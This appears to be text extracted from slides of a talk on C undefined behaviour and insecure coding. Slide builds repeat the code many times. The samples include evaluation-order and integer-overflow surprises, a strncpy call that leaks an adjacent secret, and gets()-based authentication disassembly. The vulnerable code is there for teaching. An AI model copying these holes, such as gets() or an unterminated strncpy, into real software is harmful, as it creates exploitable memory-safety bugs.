printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
11
$ icc foo.c && ./a.out
13
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
11
$ icc foo.c && ./a.out
13
What do you think will actually happen if you compile, link and run it in
your development environment?
Trick #3:
Write insecure code where the result
depends on the compiler
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
11
$ icc foo.c && ./a.out
13
What do you think will actually happen if you compile, link and run it in
your development environment?
Trick #3:
Write insecure code where the result
depends on the compiler
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
11
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
11
$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
11
$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
11
$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
The point is that the C standard does not require
compilers to diagnose "illegal" code.
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
$ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
12
$ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
11
$ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out
13
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
OK, so let's add some flags.The compiler I use gives me
warnings for code like this.
The point is that the C standard does not require
compilers to diagnose "illegal" code.
Trick #4:
Write insecure code by knowing the blind
spots of your compilers
On undefined behavior anything can happen!
When the compiler encounters [a given undefined construct] it is legal for it to
make demons fly out of your nose” [comp.std.c]
On undefined behavior anything can happen!
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
false
clang 4.1
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
Exercise
#include <stdio.h>
#include <stdbool.h>
void foo(void)
{
bool b;
if (b)
printf("truen");
if (!b)
printf("falsen");
}
foo.c
This code is undefined behavior because b is used without being initialized (it has an
indeterminate value). But in practice, what do you think are possible outcomes when this
function is called?
void bar(void);
void foo(void);
int main(void)
{
bar();
foo();
}
main.c
void bar(void)
{
char c = 2;
(void)c;
}
bar.c
This is what I get on my computer with no optimization:
true
icc 13.0.1
true
false
gcc 4.7.2
false
clang 4.1
with optimization (-O2) I get:
false false false
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
Trick #5:
Write insecure code by messing up the
internal state of the program.
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
deep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
The anwser is: 3.1417926
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
The anwser is: 3.1417926
Inconceivable!
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
The anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined
behavior, anything can happen!
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
The anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined
behavior, anything can happen!
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
Integer overflow gives undefined behavior. If you want to prevent this to happen you
must write the logic yourself.This is the spirit of C, you don’t get code you have not
asked for.
int the_answer(int seed)
{
int answer = seed + 42;
return answer - seed;
}
$ cc main.c deep_thought.c && ./a.out
The anwser is: 3.1417926
Inconceivable!
Remember... when you have undefined
behavior, anything can happen!
#include <stdio.h>
#include <limits.h>
int the_answer(int);
int main(void)
{
printf("The answer is:n");
int a = the_answer(INT_MAX);
printf("%dn", a);
}
main.cdeep_thought.c
Integer overflow gives undefined behavior. If you want to prevent this to happen you
must write the logic yourself.This is the spirit of C, you don’t get code you have not
asked for.
Trick #6:
Write insecure code by only assuming valid
input values
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
-2147483648
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
-2147483648
-2147483647
-2147483646
-2147483645
-2147483644
-2147483643
-2147483642
-2147483641
-2147483640
-2147483639
-2147483638
-2147483637
-2147483636
-2147483635
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (i > 0)
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
-2147483648
-2147483647
-2147483646
-2147483645
-2147483644
-2147483643
-2147483642
-2147483641
-2147483640
-2147483639
-2147483638
-2147483637
-2147483636
-2147483635
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (true )
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
-2147483648
-2147483647
-2147483646
-2147483645
-2147483644
-2147483643
-2147483642
-2147483641
-2147483640
-2147483639
-2147483638
-2147483637
-2147483636
-2147483635
#include <stdio.h>
#include <limits.h>
void foo(void)
{
int i = INT_MAX - 3;
while (true )
printf("%dn", i++);
}
int main(void)
{
foo();
}
$ cc foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
$ cc -O2 foo.c && ./a.out
2147483644
2147483645
2147483646
2147483647
-2147483648
-2147483647
-2147483646
-2147483645
-2147483644
-2147483643
-2147483642
-2147483641
-2147483640
-2147483639
-2147483638
-2147483637
-2147483636
-2147483635
Trick #7:
Write insecure code by letting the optimizer
remove apparently critical code
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
foo.c && ./a.out
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
foo.c && ./a.out
David
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
foo.c && ./a.out
David
globalthermonuclJoshua
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
foo.c && ./a.out
David
globalthermonuclJoshua
buffer[sizeof buffer - 1] = '0';
#include <stdio.h>
#include <string.h>
void foo(char * str)
{
char secret[] = "Joshua";
char buffer[16];
strncpy(buffer, str, sizeof buffer);
printf("%sn", buffer);
// ...
}
int main(void)
{
foo("David");
foo("globalthermonuclearwar");
}
foo.c && ./a.out
David
globalthermonuclJoshua
Trick #8:
Write insecure code by using library
functions incorrectly
buffer[sizeof buffer - 1] = '0';
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
$ gcc -fno-stack-protector launch.c
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
